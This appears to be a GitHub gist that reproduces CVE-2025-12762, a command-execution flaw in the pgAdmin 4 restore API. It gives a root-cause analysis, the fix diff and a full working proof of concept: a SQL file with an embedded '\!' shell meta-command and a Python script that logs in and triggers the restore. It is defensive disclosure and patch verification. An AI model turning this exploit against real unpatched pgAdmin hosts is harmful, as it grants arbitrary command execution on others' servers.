Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Created November 14, 2025 20:35
Show Gist options
  • Select an option

  • Save N3mes1s/356b8ad023848959f83e8b670992b876 to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/356b8ad023848959f83e8b670992b876 to your computer and use it in GitHub Desktop.
pgAdmin 4 Restore API Meta-Command RCE (CVE-2025-12762)

pgAdmin 4 Restore API Meta-Command RCE (CVE-2025-12762)

Summary

  • Product / Component: pgadmin4pgadmin/tools/restore/__init__.py
  • Impact: Authenticated pgAdmin users can upload a crafted PLAIN backup whose embedded \! meta-command executes arbitrary shell commands on the pgAdmin host (pre-auth to the target Postgres instance).
  • Introduced:pgadmin4 9.9 (Oct 2025) – the create_restore_job() path streams PLAIN files directly into psql without sanitizing \!/\i meta-commands, so psql executes attacker-controlled shell statements.
  • Fixed: pgadmin4 9.10 (Nov 2025) – restore jobs now scan PLAIN uploads for meta-commands and reject the request with “Restore blocked: the selected PLAIN SQL file contains psql meta-commands…”.
  • Reproduction Status: Confirmed on Lima VM pruva-repro-20251114-130855-* by downgrading to 9.9 (vulnerable) and re-running the workflow after upgrading to 9.10 (patched).
  • Customer Action: Upgrade to pgAdmin 4 ≥ 9.10 or backport the meta-command guard; restrict restore privileges in multi-tenant environments until the patch is deployed.

Root Cause

The pgAdmin REST API route POST /restore/job/<sid> loads arbitrary backup files and runs either pg_restore or psql depending on the format field. For PLAIN SQL uploads the vulnerable 9.9 code simply shells out to psql:

# pgadmin/tools/restore/__init__.py:360-418 (pgAdmin 4 v9.9)
if data['format'] == 'plain':
    error_msg, utility, args = use_sql_utility(
        data, manager, server, filepath)
else:
    error_msg, utility, args = use_restore_utility(...)

p = BatchProcess(
    desc=RestoreMessage(..., *args, database=data['database']),
    cmd=utility, args=args, manager_obj=manager
)
p.start()

No validation occurs before psql reads the attacker-provided file. Because psql honors meta-commands by default, an adversary can embed \! touch /tmp/pgadmin-rce (or any shell command) and pgAdmin will execute it while running the restore.

Fix Diff Highlights

In 9.10 the format == 'plain' branch now inspects the upload before launching psql:

@@ def create_restore_job(sid):
-    if data['format'] == 'plain':
-        error_msg, utility, args = use_sql_utility(
-            data, manager, server, filepath)
+    if data['format'] == 'plain':
+        invalid = _contains_psql_meta_commands(filepath)
+        if invalid:
+            return make_json_response(
+                success=0,
+                errormsg=("Restore blocked: the selected PLAIN SQL file "
+                          "contains psql meta-commands (for example \\! or \\i). "
+                          "For safety, pgAdmin does not execute meta-commands "
+                          "from PLAIN restores.")
+            )
+        error_msg, utility, args = use_sql_utility(
+            data, manager, server, filepath)

The guard short-circuits the request and logs an explicit error instead of invoking psql.

Release Status & History

  1. 2025‑10 (pgAdmin 4 v9.9) – Restore flow still pipes PLAIN uploads into psql without sanitization; vulnerable behavior reproduced here.
  2. 2025‑11‑07 (pgAdmin 4 v9.10) – Upstream patch rejects PLAIN files containing meta-commands and ships the error surfaced in our patched run.
  3. 2025‑11‑14 – This investigation confirms the exploit on v9.9 and demonstrates that v9.10 blocks the same payload.

Reproduction

# 1. Host prerequisites (Ubuntu 22.04 example)
sudo apt-get update
sudo apt-get install -y python3.11-venv docker.io postgresql-client jq

# 2. Prepare vulnerable pgAdmin environment (v9.9) and Postgres target
cd /home/g.linux/workspace/PGADMIN4-CVE-2025-12762
python3 -m venv .venv
source .venv/bin/activate
pip install --upgrade pip
pip install pgadmin4==9.9 requests

# start postgres victim
sudo docker run -d --name pgadmin-rce-demo \
  -e POSTGRES_HOST_AUTH_METHOD=trust -p 55432:5432 postgres:16-alpine
sudo docker exec pgadmin-rce-demo psql -U postgres -c "CREATE DATABASE demo;"

# launch pgAdmin (server mode) bound to 127.0.0.1:5050
PGADMIN_SETUP_EMAIL=admin@example.com \
PGADMIN_SETUP_PASSWORD=Admin123! \
PGADMIN_CONFIG_SERVER_MODE=True \
PGADMIN_CONFIG_UDCSQLITE_PATH=$(pwd)/pgadmin4_data/pgadmin4.db \
PGADMIN_CONFIG_FILE=$(pwd)/config_local.py \
nohup .venv/bin/pgadmin4 > logs/pgadmin-9.9.log 2>&1 &

# 3. Upload malicious PLAIN backup and trigger restore
cat > artifacts/malicious_restore.sql <<'SQL'
CREATE TABLE IF NOT EXISTS bad(data text);
\! touch /tmp/pgadmin-rce
SQL
cp artifacts/malicious_restore.sql \
   pgadmin4/storage/admin_example.com/malicious_restore.sql

# authenticate to pgAdmin UI, configure server entry, then run the REST API exploit
python - <<'PY'
import json, requests, time
base = 'http://127.0.0.1:5050'
s = requests.Session()
csrf = s.get(f'{base}/login').text.split('"csrfToken": "')[1].split('"')[0]
login = {'email':'admin@example.com','password':'Admin123!','language':'en',
         'csrf_token':csrf,'internal_button':'Login'}
r = s.post(f'{base}/authenticate/login', data=login, allow_redirects=False)
s.get(f"{base}{r.headers.get('Location','/browser/')}")
utils = s.get(f'{base}/browser/js/utils.js').text
header = utils.split("pgAdmin['csrf_token_header'] = '")[1].split("'")[0]
token = utils.split("pgAdmin['csrf_token'] = '")[1].split("'")[0]
headers = {header: token, 'Accept':'application/json',
           'X-Requested-With':'XMLHttpRequest'}
# ensure server points to docker DB and connect
payload = {'name':'pgdemo','host':'127.0.0.1','port':55432,
           'db':'postgres','username':'postgres','connect_now':True,
           'save_password':True, 'connection_params':[{'name':'sslmode','keyword':'sslmode','value':'prefer'}]}
s.put(f'{base}/browser/server/obj/1/1',
      headers={**headers,'Content-Type':'application/json'},
      data=json.dumps(payload))
s.post(f'{base}/browser/server/connect/1/1', headers=headers)
# run restore using malicious file already stored in pgAdmin
restore = {'file':'malicious_restore.sql','format':'plain','database':'demo','verbose':True}
resp = s.post(f'{base}/restore/job/1',
              headers={**headers,'Content-Type':'application/json'},
              data=json.dumps(restore))
print(resp.status_code, resp.json())
PY

# 4. Observe evidence on vulnerable build
ls -l /tmp/pgadmin-rce      # file exists, proving remote command execution

# 5. Upgrade to patched build and repeat
source .venv/bin/activate
pip install --upgrade pgadmin4==9.10
pkill -f pgadmin4
nohup .venv/bin/pgadmin4 > logs/pgadmin-9.10.log 2>&1 &
python exploit_script_above.py   # re-run restore payload
ls -l /tmp/pgadmin-rce          # now missing; API responds with error

Evidence

# Vulnerable 9.9 run (logs/vulnerable_restore_response.json)
{
  "success": 1,
  "data": {
    "job_id": "251114180843301390",
    "desc": "Restoring backup on the server 'pgdemo (127.0.0.1:55432)'",
    "Success": 1
  }
}

# Host indicator (logs/vulnerable_rce_marker.txt)
-rw-rw-rw- 1 g g 0 Nov 14 19:08 /tmp/pgadmin-rce

# Patched 9.10 run (logs/patched_restore_response.json)
{
  "success": 0,
  "errormsg": "Restore blocked: the selected PLAIN SQL file contains psql meta-commands (for example \\! or \\i). For safety, pgAdmin does not execute meta-commands from PLAIN restores."
}

# Patched RCE check (logs/patched_rce_marker_check.txt)
ls: cannot access '/tmp/pgadmin-rce': No such file or directory

Recommendations

  1. Patch – Upgrade pgAdmin 4 installations to v9.10 or later (or backport the meta-command guard) so PLAIN restores cannot execute shell commands.
  2. Config – Restrict access to the Restore tool in multi-user deployments; require trusted administrators and disable PROGRAM/meta commands at the Postgres level when possible.
  3. Defense-in-depth – Monitor pgAdmin application logs for unexpected restore jobs, and deploy OS-level auditing for anomalous files under /tmp/ or other shell side-effects triggered during restores.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment